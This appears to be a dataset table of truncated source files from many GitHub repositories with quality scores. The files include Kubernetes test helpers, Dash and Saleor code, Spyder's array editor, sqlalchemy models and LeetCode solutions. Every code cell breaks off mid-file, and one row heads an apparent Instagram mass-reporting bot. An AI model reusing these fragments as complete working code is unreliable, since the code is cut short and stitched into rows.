max_stars_repo_path stringlengths 4 286 | max_stars_repo_name stringlengths 5 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.03M | content_cleaned stringlengths 6 1.03M | language stringclasses 111
values | language_score float64 0.03 1 | comments stringlengths 0 556k | edu_score float64 0.32 5.03 | edu_int_score int64 0 5 |
|---|---|---|---|---|---|---|---|---|---|---|
tests/k8s_handler.py | josebalius/go-spacemesh | 586 | 1800 | from datetime import datetime
from kubernetes import client
from kubernetes.client.rest import ApiException
import os
import time
import yaml
from tests import config as conf
import tests.utils as ut
def remove_clusterrole_binding(shipper_name, crb_name):
# remove clusterrolebind
k8s_client = client.RbacAuth... | from datetime import datetime
from kubernetes import client
from kubernetes.client.rest import ApiException
import os
import time
import yaml
from tests import config as conf
import tests.utils as ut
def remove_clusterrole_binding(shipper_name, crb_name):
# remove clusterrolebind
k8s_client = client.RbacAuth... | en | 0.788263 | # remove clusterrolebind # remove clusterrolebind # TODO: find a solution for sharing the name both here and in the kube object # remove clusterrolebind # TODO: find a solution for sharing the name both here and in the kube object # replace all phrases with the actual values if exists # remove modified file # find by n... | 2.159164 | 2 |
natlas-agent/config.py | m4rcu5/natlas | 0 | 1801 | import os
from dotenv import load_dotenv
class Config:
# Current Version
NATLAS_VERSION = "0.6.10"
BASEDIR = os.path.abspath(os.path.dirname(__file__))
load_dotenv(os.path.join(BASEDIR, '.env'))
def get_int(self, varname):
tmp = os.environ.get(varname)
if tmp:
return int(tmp)
return None
def get_bo... | import os
from dotenv import load_dotenv
class Config:
# Current Version
NATLAS_VERSION = "0.6.10"
BASEDIR = os.path.abspath(os.path.dirname(__file__))
load_dotenv(os.path.join(BASEDIR, '.env'))
def get_int(self, varname):
tmp = os.environ.get(varname)
if tmp:
return int(tmp)
return None
def get_bo... | en | 0.854192 | # Current Version # url of server to get/submit work from/to # ignore warnings about SSL connections # you shouldn't ignore ssl warnings, but I'll give you the option # Instead, you should put the trusted CA certificate bundle on the agent and use the REQUESTS_CA_BUNDLE env variable # maximum number of threads to utili... | 2.327423 | 2 |
rdr2019/mcmc_lc_jla_fit.py | rubind/host_unity | 0 | 1802 | import os
import sys
import click
import pickle
import sncosmo
import numpy as np
from astropy.table import Table
DATA_PATH = '/home/samdixon/jla_light_curves/'
def modify_error(lc, error_floor=0.):
"""Add an error floor of `error_floor` times the maximum flux of the band
to each observation
"""
... | import os
import sys
import click
import pickle
import sncosmo
import numpy as np
from astropy.table import Table
DATA_PATH = '/home/samdixon/jla_light_curves/'
def modify_error(lc, error_floor=0.):
"""Add an error floor of `error_floor` times the maximum flux of the band
to each observation
"""
... | en | 0.696547 | Add an error floor of `error_floor` times the maximum flux of the band to each observation | 2.048062 | 2 |
openmdao/core/tests/test_system.py | toddrme2178/OpenMDAO | 0 | 1803 | """ Unit tests for the system interface."""
import unittest
from six import assertRaisesRegex
from six.moves import cStringIO
import numpy as np
from openmdao.api import Problem, Group, IndepVarComp, ExecComp
from openmdao.test_suite.components.options_feature_vector import VectorDoublingComp
from openmdao.utils.ass... | """ Unit tests for the system interface."""
import unittest
from six import assertRaisesRegex
from six.moves import cStringIO
import numpy as np
from openmdao.api import Problem, Group, IndepVarComp, ExecComp
from openmdao.test_suite.components.options_feature_vector import VectorDoublingComp
from openmdao.utils.ass... | en | 0.685204 | Unit tests for the system interface. # Test pre-setup errors # Test inputs with original values # Test inputs after setting a new value # Test outputs with original values # Test outputs after setting a new value # Test residuals # Test linear # Test linear with invalid vec_name # # set input # # assign array to scalar... | 2.512386 | 3 |
code/src/db/create_db.py | fabiangunzinger/sample_project | 0 | 1804 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import os
import sqlite3
import sys
import pandas as pd
from src import config
def parse_args(argv):
parser = argparse.ArgumentParser()
parser.add_argument('sample')
parser.add_argument('replace')
return parser.parse_args()
def db_table... | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import os
import sqlite3
import sys
import pandas as pd
from src import config
def parse_args(argv):
parser = argparse.ArgumentParser()
parser.add_argument('sample')
parser.add_argument('replace')
return parser.parse_args()
def db_table... | en | 0.711703 | #!/usr/bin/env python3 # -*- coding: utf-8 -*- List tables in database. Create database with tables for targets, outcomes, and predictions. | 2.936531 | 3 |
tests/test_responder.py | craigderington/responder-persons-api | 0 | 1805 | # coding: utf-8
import pytest
import app as service
import yaml
import responder
from starlette.responses import PlainTextResponse
@pytest.fixture
def api():
return service.api
def test_hello_world(api):
r = api.requests.get("/api/v1.0/index")
assert r.text == "Hello, World!"
def test_basic_route(api... | # coding: utf-8
import pytest
import app as service
import yaml
import responder
from starlette.responses import PlainTextResponse
@pytest.fixture
def api():
return service.api
def test_hello_world(api):
r = api.requests.get("/api/v1.0/index")
assert r.text == "Hello, World!"
def test_basic_route(api... | en | 0.833554 | # coding: utf-8 | 2.262669 | 2 |
examples/solar/p25_nonsparse_cmmgp.py | axdahl/SC-MMGP | 0 | 1806 | # -*- coding: utf-8 -*-
"""
Script to execute example covarying MMGP regression forecasting model
with full Krhh.
Inputs: Data training and test sets (dictionary pickle)
Data for example:
- normalised solar data for 25 sites for 15 minute forecast
- N_train = 4200, N_test = 2276, P = 25, D = 51
- Xtr[:, :5... | # -*- coding: utf-8 -*-
"""
Script to execute example covarying MMGP regression forecasting model
with full Krhh.
Inputs: Data training and test sets (dictionary pickle)
Data for example:
- normalised solar data for 25 sites for 15 minute forecast
- N_train = 4200, N_test = 2276, P = 25, D = 51
- Xtr[:, :5... | en | 0.715286 | # -*- coding: utf-8 -*- Script to execute example covarying MMGP regression forecasting model
with full Krhh.
Inputs: Data training and test sets (dictionary pickle)
Data for example:
- normalised solar data for 25 sites for 15 minute forecast
- N_train = 4200, N_test = 2276, P = 25, D = 51
- Xtr[:, :50] 2 r... | 2.440248 | 2 |
cruiser-lib/test/positioning/test_position_hl_commander.py | cfreebuf/kubeedge-examples | 0 | 1807 | <gh_stars>0
# -*- coding: utf-8 -*-
#
# || ____ _ __
# +------+ / __ )(_) /_______________ _____ ___
# | 0xBC | / __ / / __/ ___/ ___/ __ `/_ / / _ \
# +------+ / /_/ / / /_/ /__/ / / /_/ / / /_/ __/
# || || /_____/_/\__/\___/_/ \__,_/ /___/\___/
#
# Copyright (C) 2018 Bitcraz... | # -*- coding: utf-8 -*-
#
# || ____ _ __
# +------+ / __ )(_) /_______________ _____ ___
# | 0xBC | / __ / / __/ ___/ ___/ __ `/_ / / _ \
# +------+ / /_/ / / /_/ /__/ / / /_/ / / /_/ __/
# || || /_____/_/\__/\___/_/ \__,_/ /___/\___/
#
# Copyright (C) 2018 Bitcraze AB
#
# Th... | en | 0.711796 | # -*- coding: utf-8 -*- # # || ____ _ __ # +------+ / __ )(_) /_______________ _____ ___ # | 0xBC | / __ / / __/ ___/ ___/ __ `/_ / / _ \ # +------+ / /_/ / / /_/ /__/ / / /_/ / / /_/ __/ # || || /_____/_/\__/\___/_/ \__,_/ /___/\___/ # # Copyright (C) 2018 Bitcraze AB # # Th... | 1.979237 | 2 |
onmt/keyphrase/pke/unsupervised/graph_based/expandrank.py | NaomiatLibrary/OpenNMT-kpg-release | 152 | 1808 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: <NAME>
# Date: 10-02-2018
"""ExpandRank keyphrase extraction model.
Graph-based ranking approach to keyphrase extraction described in:
* <NAME> and <NAME>.
Single Document Keyphrase Extraction Using Neighborhood Knowledge.
*In proceedings of AAAI*, pages 85... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: <NAME>
# Date: 10-02-2018
"""ExpandRank keyphrase extraction model.
Graph-based ranking approach to keyphrase extraction described in:
* <NAME> and <NAME>.
Single Document Keyphrase Extraction Using Neighborhood Knowledge.
*In proceedings of AAAI*, pages 85... | en | 0.710628 | #!/usr/bin/env python # -*- coding: utf-8 -*- # Author: <NAME> # Date: 10-02-2018 ExpandRank keyphrase extraction model. Graph-based ranking approach to keyphrase extraction described in: * <NAME> and <NAME>. Single Document Keyphrase Extraction Using Neighborhood Knowledge. *In proceedings of AAAI*, pages 855-86... | 2.858225 | 3 |
5-serverless-xray-stack/app.py | mmeidlinger/cdk-microservices-labs | 14 | 1809 | <reponame>mmeidlinger/cdk-microservices-labs
#!/usr/bin/env python3
from aws_cdk import core
from fagate_serverless.fagate_serverless_stack import FagateServerlessStack
app = core.App()
FagateServerlessStack(app, "serverless-xray-stack")
app.synth()
| #!/usr/bin/env python3
from aws_cdk import core
from fagate_serverless.fagate_serverless_stack import FagateServerlessStack
app = core.App()
FagateServerlessStack(app, "serverless-xray-stack")
app.synth() | fr | 0.221828 | #!/usr/bin/env python3 | 1.323117 | 1 |
dash/long_callback/managers/celery_manager.py | nickmelnikov82/dash | 17,143 | 1810 | import json
import inspect
import hashlib
from _plotly_utils.utils import PlotlyJSONEncoder
from dash.long_callback.managers import BaseLongCallbackManager
class CeleryLongCallbackManager(BaseLongCallbackManager):
def __init__(self, celery_app, cache_by=None, expire=None):
"""
Long callback manag... | import json
import inspect
import hashlib
from _plotly_utils.utils import PlotlyJSONEncoder
from dash.long_callback.managers import BaseLongCallbackManager
class CeleryLongCallbackManager(BaseLongCallbackManager):
def __init__(self, celery_app, cache_by=None, expire=None):
"""
Long callback manag... | en | 0.680473 | Long callback manager that runs callback logic on a celery task queue, and stores results using a celery result backend. :param celery_app: A celery.Celery application instance that must be configured with a result backend. See the celery documentation for information on ... | 2.263226 | 2 |
libraries/botframework-connector/botframework/connector/token_api/_token_api_client.py | victor-kironde/botbuilder-python | 10 | 1811 | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... | en | 0.480786 | # coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes ... | 1.693202 | 2 |
soppi/sample.py | shikshan/soppi | 0 | 1812 | # content of test_sample.py
def inc(x: int) -> int:
return x + 1
| # content of test_sample.py
def inc(x: int) -> int:
return x + 1
| en | 0.397072 | # content of test_sample.py | 1.708343 | 2 |
saleor/order/migrations/0081_auto_20200406_0456.py | fairhopeweb/saleor | 15,337 | 1813 | <gh_stars>1000+
# Generated by Django 3.0.4 on 2020-04-06 09:56
from django.db import migrations
from saleor.order import OrderStatus
def match_orders_with_users(apps, *_args, **_kwargs):
Order = apps.get_model("order", "Order")
User = apps.get_model("account", "User")
orders_without_user = Order.objec... | # Generated by Django 3.0.4 on 2020-04-06 09:56
from django.db import migrations
from saleor.order import OrderStatus
def match_orders_with_users(apps, *_args, **_kwargs):
Order = apps.get_model("order", "Order")
User = apps.get_model("account", "User")
orders_without_user = Order.objects.filter(
... | en | 0.756793 | # Generated by Django 3.0.4 on 2020-04-06 09:56 | 2.080578 | 2 |
function/python/brightics/function/textanalytics/regex.py | jhpark428/studio | 202 | 1814 | """
Copyright 2019 Samsung SDS
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law ... | """
Copyright 2019 Samsung SDS
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law ... | en | 0.789036 | Copyright 2019 Samsung SDS Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agree... | 2.150434 | 2 |
bin/temperature_functions.py | travc/outbreak-reporter | 0 | 1815 | #!/usr/bin/env python3
import sys
import os
import logging
import numpy as np
import pandas as pd
import dateutil
def tempF2C(x): return (x-32.0)*5.0/9.0
def tempC2F(x): return (x*9.0/5.0)+32.0
def load_temperature_hdf5(temps_fn, local_time_offset, basedir=None, start_year=None, truncate_to_full_day=False):
## ... | #!/usr/bin/env python3
import sys
import os
import logging
import numpy as np
import pandas as pd
import dateutil
def tempF2C(x): return (x-32.0)*5.0/9.0
def tempC2F(x): return (x*9.0/5.0)+32.0
def load_temperature_hdf5(temps_fn, local_time_offset, basedir=None, start_year=None, truncate_to_full_day=False):
## ... | en | 0.624254 | #!/usr/bin/env python3 ## Load temperature # temps_fn = "{}_AT_cleaned.h5".format(station_callsign) #t.index = pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz) # @TCC this fails if csv contains datetimes with TZ # Function which computes BM (single sine method) degree day generation from temperature data #... | 2.543587 | 3 |
applications/CSharpWrapperApplication/tests/test_CSharpWrapperApplication.py | lkusch/Kratos | 778 | 1816 | # import Kratos
import KratosMultiphysics
import KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication
import KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication
import run_cpp_unit_tests
# Import Kratos "wrapper" for unittests
import KratosMultiphysics.KratosUnittest ... | # import Kratos
import KratosMultiphysics
import KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication
import KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication
import run_cpp_unit_tests
# Import Kratos "wrapper" for unittests
import KratosMultiphysics.KratosUnittest ... | en | 0.533032 | # import Kratos # Import Kratos "wrapper" for unittests # Import subprocess # Using kratos_utilities # Import the tests o test_classes to create the suits ## SMALL TESTS ## NIGTHLY TESTS ## VALIDATION TESTS Populates the test suites to run. Populates the test suites to run. At least, it should pupulate the suites:... | 2.179581 | 2 |
backend/api/models.py | mezidia/mezidia-airlines-backend | 0 | 1817 | <reponame>mezidia/mezidia-airlines-backend<filename>backend/api/models.py
from sqlalchemy import Column, Integer, String, ForeignKey, Float
from sqlalchemy.orm import relationship
from .database import Base
class Post(Base):
__tablename__ = "posts"
id = Column(Integer, primary_key=True, nullable=False, inde... | from sqlalchemy import Column, Integer, String, ForeignKey, Float
from sqlalchemy.orm import relationship
from .database import Base
class Post(Base):
__tablename__ = "posts"
id = Column(Integer, primary_key=True, nullable=False, index=True)
full_name = Column(String, nullable=False)
last_place = Co... | none | 1 | 2.941341 | 3 | |
run.py | Ganeshrockz/Flask-Python-Dev | 0 | 1818 | <reponame>Ganeshrockz/Flask-Python-Dev<filename>run.py
from flask import Flask, flash, render_template, redirect, url_for
from flask.ext.pymongo import PyMongo
from flask import request
app=Flask(__name__)
app.config['MONGO_DBNAME']='stud'
app.config['MONGO_URI']='mongodb://localhost:27017/stud'
mongo=PyMongo(app)
"""
... | from flask import Flask, flash, render_template, redirect, url_for
from flask.ext.pymongo import PyMongo
from flask import request
app=Flask(__name__)
app.config['MONGO_DBNAME']='stud'
app.config['MONGO_URI']='mongodb://localhost:27017/stud'
mongo=PyMongo(app)
"""
@app.route('/add')
def add():
user=mongo.db.users
... | en | 0.17286 | @app.route('/add') def add(): user=mongo.db.users user.insert({"name":"Ganesh","age":19}) return "Added" @app.route('/find') def find(): user=mongo.db.users data=user.find_one({"name":"Ganesh"}) return data["name"] | 2.910876 | 3 |
resources/tests/conftest.py | jussiarpalahti/respa | 0 | 1819 | # -*- coding: utf-8 -*-
import pytest
import datetime
from django.contrib.auth import get_user_model
from django.contrib.auth.models import Group
from rest_framework.test import APIClient, APIRequestFactory
from resources.enums import UnitAuthorizationLevel
from resources.models import Resource, ResourceType, Unit, Pu... | # -*- coding: utf-8 -*-
import pytest
import datetime
from django.contrib.auth import get_user_model
from django.contrib.auth.models import Group
from rest_framework.test import APIClient, APIRequestFactory
from resources.enums import UnitAuthorizationLevel
from resources.models import Resource, ResourceType, Unit, Pu... | en | 0.837603 | # -*- coding: utf-8 -*- Resource is wheelchair accessible, not hearing accessible, unit is accessible to both Resource is hearing accessible, not wheelchair accessible, unit is accessible to both Resource is accessible, unit is not | 1.905599 | 2 |
qcmetadataprinter/struct.py | x2dev/device_leeco_x2 | 0 | 1820 | <reponame>x2dev/device_leeco_x2
#!/bin/python3
with open('../camera/QCamera2/stack/common/cam_intf.h', 'r') as f:
data = f.read()
f.closed
start = data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM')
end = data.find('} metadata_data_t;')
data = data[start:end]
metadata = data.split("\n")
metalist = list()
for line ... | #!/bin/python3
with open('../camera/QCamera2/stack/common/cam_intf.h', 'r') as f:
data = f.read()
f.closed
start = data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM')
end = data.find('} metadata_data_t;')
data = data[start:end]
metadata = data.split("\n")
metalist = list()
for line in metadata:
if (line.starts... | ru | 0.16812 | #!/bin/python3 | 2.497268 | 2 |
abc/abc121/abc121d-2.py | c-yan/atcoder | 1 | 1821 | <reponame>c-yan/atcoder
def g(A, n):
if A == -1:
return 0
return A // (2 * n) * n + max(A % (2 * n) - (n - 1), 0)
def f(A, B):
result = 0
for i in range(48):
t = 1 << i
if (g(B, t) - g(A - 1, t)) % 2 == 1:
result += t
return result
A, B = map(int, input().spli... | def g(A, n):
if A == -1:
return 0
return A // (2 * n) * n + max(A % (2 * n) - (n - 1), 0)
def f(A, B):
result = 0
for i in range(48):
t = 1 << i
if (g(B, t) - g(A - 1, t)) % 2 == 1:
result += t
return result
A, B = map(int, input().split())
print(f(A, B)) | none | 1 | 2.856905 | 3 | |
log_mysql.py | kizunai/Weather-Scrapy | 0 | 1822 | <reponame>kizunai/Weather-Scrapy
import logging
from logging.handlers import TimedRotatingFileHandler
class MyLog():
def __init__(self, name, filename):
self.logger = logging.getLogger(name)
if not self.logger.handlers:
self.logger.setLevel(logging.INFO)
ch = TimedRotatingFi... | import logging
from logging.handlers import TimedRotatingFileHandler
class MyLog():
def __init__(self, name, filename):
self.logger = logging.getLogger(name)
if not self.logger.handlers:
self.logger.setLevel(logging.INFO)
ch = TimedRotatingFileHandler(filename=filename, when... | en | 0.067305 | logger = MyLog("test","log\\text.txt") logger.logger.debug('debug message') logger.logger.info('info message') logger.logger.warning('warn message') logger.logger.error('error message') logger.logger.critical('critical message') | 3.052947 | 3 |
src/fiesta/urls.py | lerooze/django-fiesta | 0 | 1823 | <gh_stars>0
# urls.py
from django.urls import path, register_converter
from fiesta import converters
from fiesta.views import views
from rest_framework.urlpatterns import format_suffix_patterns
# "http://django-sdmx.org/wsrest/"
# "http://django-sdmx.org/ws/"
register_converter(converters.ResourceConverter, 'res')
... | # urls.py
from django.urls import path, register_converter
from fiesta import converters
from fiesta.views import views
from rest_framework.urlpatterns import format_suffix_patterns
# "http://django-sdmx.org/wsrest/"
# "http://django-sdmx.org/ws/"
register_converter(converters.ResourceConverter, 'res')
register_con... | en | 0.331823 | # urls.py # "http://django-sdmx.org/wsrest/" # "http://django-sdmx.org/ws/" | 2.000508 | 2 |
code-wars/010.moving-zeros-to-the-end.py | code-knayam/DataStructureAlgorithms | 0 | 1824 | <filename>code-wars/010.moving-zeros-to-the-end.py
# Write an algorithm that takes an array and moves all of the zeros to the end, preserving the order of the other elements.
def move_zeros(array):
#your code here
new_array = []
new_index = 0
while len(array) > 0:
item = array.pop(0)
... | <filename>code-wars/010.moving-zeros-to-the-end.py
# Write an algorithm that takes an array and moves all of the zeros to the end, preserving the order of the other elements.
def move_zeros(array):
#your code here
new_array = []
new_index = 0
while len(array) > 0:
item = array.pop(0)
... | en | 0.871332 | # Write an algorithm that takes an array and moves all of the zeros to the end, preserving the order of the other elements. #your code here | 3.999439 | 4 |
sepa_generator/definitions.py | jason-gm/python_sepa | 0 | 1825 |
def construct_tag_data(tag_name, attrs=None, value=None, sorting=None):
data = {
'_name': tag_name,
'_attrs': attrs or [],
'_value': value,
}
if sorting:
data['_sorting'] = sorting
return data
def add_simple_child(data, child_friendly_name, child_tag_name, child_attr... |
def construct_tag_data(tag_name, attrs=None, value=None, sorting=None):
data = {
'_name': tag_name,
'_attrs': attrs or [],
'_value': value,
}
if sorting:
data['_sorting'] = sorting
return data
def add_simple_child(data, child_friendly_name, child_tag_name, child_attr... | none | 1 | 2.080934 | 2 | |
__main__.py | miezebieze/scott-launcher | 1 | 1826 | from enum import Enum
from window import Window
D = Enum ('Directions','N NE E SE S SW W NW')
selector_map = {
D.NW: [0.5,0.5], D.N: [1.5,0], D.NE: [2.5,0.5],
D.W: [0,1.5], D.E: [3,1.5],
D.SW: [0.5,2.5], D.S: [1.5,3], D.SE: [2.5,2.5],
}
selector_size = 100
window_si... | from enum import Enum
from window import Window
D = Enum ('Directions','N NE E SE S SW W NW')
selector_map = {
D.NW: [0.5,0.5], D.N: [1.5,0], D.NE: [2.5,0.5],
D.W: [0,1.5], D.E: [3,1.5],
D.SW: [0.5,2.5], D.S: [1.5,3], D.SE: [2.5,2.5],
}
selector_size = 100
window_si... | en | 0.868574 | # set actions here | 2.588928 | 3 |
cride/circles/serializers.py | monteals/C-Ride | 0 | 1827 | <gh_stars>0
from rest_framework import serializers
from rest_framework.validators import UniqueValidator
from cride.circles.models import Circle
class CircleSerializer(serializers.Serializer):
name = serializers.CharField()
slug_name = serializers.SlugField()
rides_taken = serializers.IntegerField()
ri... | from rest_framework import serializers
from rest_framework.validators import UniqueValidator
from cride.circles.models import Circle
class CircleSerializer(serializers.Serializer):
name = serializers.CharField()
slug_name = serializers.SlugField()
rides_taken = serializers.IntegerField()
rides_offered ... | none | 1 | 2.401369 | 2 | |
figures/collide1a.py | brandon-rhodes/pycon2010-mighty-dictionary | 22 | 1828 | <gh_stars>10-100
import _dictdraw, sys
d = {}
surface = _dictdraw.draw_dictionary(d, [4])
surface.write_to_png(sys.argv[1])
| import _dictdraw, sys
d = {}
surface = _dictdraw.draw_dictionary(d, [4])
surface.write_to_png(sys.argv[1]) | none | 1 | 2.414394 | 2 | |
ReportBot.py | SeveNNoff/InstagramReportBot | 1 | 1829 | # coding=utf-8
#!/usr/bin/env python3
from libs.check_modules import check_modules
from sys import exit
from os import _exit
check_modules()
from os import path
from libs.logo import print_logo
from libs.utils import print_success
from libs.utils import print_error
from libs.utils import ask_question
... | # coding=utf-8
#!/usr/bin/env python3
from libs.check_modules import check_modules
from sys import exit
from os import _exit
check_modules()
from os import path
from libs.logo import print_logo
from libs.utils import print_success
from libs.utils import print_error
from libs.utils import ask_question
... | en | 0.572296 | # coding=utf-8 #!/usr/bin/env python3 Yield successive n-sized chunks from lst. | 2.389163 | 2 |
openfermioncirq/variational/ansatzes/default_initial_params_test.py | viathor/OpenFermion-Cirq | 0 | 1830 | <gh_stars>0
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
... | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distribu... | en | 0.778554 | # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distribu... | 1.706562 | 2 |
spyder/plugins/variableexplorer/widgets/arrayeditor.py | seryj/spyder | 0 | 1831 | # -*- coding: utf-8 -*-
#
# Copyright © Spyder Project Contributors
# Licensed under the terms of the MIT License
# (see spyder/__init__.py for details)
"""
NumPy Array Editor Dialog based on Qt
"""
# pylint: disable=C0103
# pylint: disable=R0903
# pylint: disable=R0911
# pylint: disable=R0201
# Stand... | # -*- coding: utf-8 -*-
#
# Copyright © Spyder Project Contributors
# Licensed under the terms of the MIT License
# (see spyder/__init__.py for details)
"""
NumPy Array Editor Dialog based on Qt
"""
# pylint: disable=C0103
# pylint: disable=R0903
# pylint: disable=R0911
# pylint: disable=R0201
# Stand... | en | 0.710465 | # -*- coding: utf-8 -*- # # Copyright © Spyder Project Contributors # Licensed under the terms of the MIT License # (see spyder/__init__.py for details) NumPy Array Editor Dialog based on Qt # pylint: disable=C0103 # pylint: disable=R0903 # pylint: disable=R0911 # pylint: disable=R0201 # Standard library imports # Thir... | 1.790138 | 2 |
libbeat/tests/system/idxmgmt.py | dddpaul/beats | 4 | 1832 | <filename>libbeat/tests/system/idxmgmt.py<gh_stars>1-10
import datetime
import unittest
import pytest
from elasticsearch import NotFoundError
class IdxMgmt(unittest.TestCase):
def __init__(self, client, index):
self._client = client
self._index = index if index != '' and index != '*' else 'mockbe... | <filename>libbeat/tests/system/idxmgmt.py<gh_stars>1-10
import datetime
import unittest
import pytest
from elasticsearch import NotFoundError
class IdxMgmt(unittest.TestCase):
def __init__(self, client, index):
self._client = client
self._index = index if index != '' and index != '*' else 'mockbe... | en | 0.870122 | # Delete any existing policy starting with given policy # Refresh the indices to guarantee all documents are available # through the _search API. | 2.235179 | 2 |
chaco/polygon_plot.py | burnpanck/chaco | 3 | 1833 | """ Defines the PolygonPlot class.
"""
from __future__ import with_statement
# Major library imports
import numpy as np
# Enthought library imports.
from enable.api import LineStyle, black_color_trait, \
transparent_color_trait
from kiva.agg import points_in_polygon
from traits.api ... | """ Defines the PolygonPlot class.
"""
from __future__ import with_statement
# Major library imports
import numpy as np
# Enthought library imports.
from enable.api import LineStyle, black_color_trait, \
transparent_color_trait
from kiva.agg import points_in_polygon
from traits.api ... | en | 0.786729 | Defines the PolygonPlot class. # Major library imports # Enthought library imports. # Local imports. Plots a polygon in dataspace. Assuming that the index and value mappers are linear mappers, and that "index" corresponds to X-coordinates and "value" corresponds to Y-coordinates, the points are arranged in... | 2.706958 | 3 |
webapp/template_config.py | evgenyss/investing | 0 | 1834 | import os
from datetime import timedelta
basedir = os.path.abspath(os.path.dirname(__file__))
API_DATA_URL = "https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/"
API_LASTPRICES_URL = "https://invest-public-api.tinkoff.ru/rest/\
tinkoff.public.invest.api.contract.v1.Mar... | import os
from datetime import timedelta
basedir = os.path.abspath(os.path.dirname(__file__))
API_DATA_URL = "https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/"
API_LASTPRICES_URL = "https://invest-public-api.tinkoff.ru/rest/\
tinkoff.public.invest.api.contract.v1.Mar... | none | 1 | 1.965531 | 2 | |
humann2/quantify/families.py | dytk2134/humann2 | 0 | 1835 | <reponame>dytk2134/humann2
"""
HUMAnN2: quantify_families module
Compute alignments by gene family
Copyright (c) 2014 Harvard School of Public Health
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Softwa... | """
HUMAnN2: quantify_families module
Compute alignments by gene family
Copyright (c) 2014 Harvard School of Public Health
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, inc... | en | 0.818214 | HUMAnN2: quantify_families module Compute alignments by gene family Copyright (c) 2014 Harvard School of Public Health Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, includi... | 2.19759 | 2 |
Buta Nicolae/threads.py | RazvanBalau/parallel-2020 | 0 | 1836 | import threading
from multiprocessing import Queue
results = []
results2 = []
def take_numbers(q):
print('Enter the numbers:')
for i in range(0,3):
num1 = int(input('Enter first number: '))
num2 = int(input('Enter second number: '))
q.put(num1)
q.put(num2)
def add_num(q):
... | import threading
from multiprocessing import Queue
results = []
results2 = []
def take_numbers(q):
print('Enter the numbers:')
for i in range(0,3):
num1 = int(input('Enter first number: '))
num2 = int(input('Enter second number: '))
q.put(num1)
q.put(num2)
def add_num(q):
... | none | 1 | 3.760159 | 4 | |
code_week11_76_712/unique_paths.py | dylanlee101/leetcode | 0 | 1837 | '''
一个机器人位于一个 m x n 网格的左上角 (起始点在下图中标记为“Start” )。
机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。
问总共有多少条不同的路径?
例如,上图是一个7 x 3 的网格。有多少可能的路径?
示例 1:
输入: m = 3, n = 2
输出: 3
解释:
从左上角开始,总共有 3 条路径可以到达右下角。
1. 向右 -> 向右 -> 向下
2. 向右 -> 向下 -> 向右
3. 向下 -> 向右 -> 向右
示例 2:
输入: m = 7, n = 3
输出: 28
来源:力扣(LeetCode)
链接:https:... | '''
一个机器人位于一个 m x n 网格的左上角 (起始点在下图中标记为“Start” )。
机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。
问总共有多少条不同的路径?
例如,上图是一个7 x 3 的网格。有多少可能的路径?
示例 1:
输入: m = 3, n = 2
输出: 3
解释:
从左上角开始,总共有 3 条路径可以到达右下角。
1. 向右 -> 向右 -> 向下
2. 向右 -> 向下 -> 向右
3. 向下 -> 向右 -> 向右
示例 2:
输入: m = 7, n = 3
输出: 28
来源:力扣(LeetCode)
链接:https:... | zh | 0.978924 | 一个机器人位于一个 m x n 网格的左上角 (起始点在下图中标记为“Start” )。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 问总共有多少条不同的路径? 例如,上图是一个7 x 3 的网格。有多少可能的路径? 示例 1: 输入: m = 3, n = 2 输出: 3 解释: 从左上角开始,总共有 3 条路径可以到达右下角。 1. 向右 -> 向右 -> 向下 2. 向右 -> 向下 -> 向右 3. 向下 -> 向右 -> 向右 示例 2: 输入: m = 7, n = 3 输出: 28 来源:力扣(LeetCode) 链接:https://le... | 3.67464 | 4 |
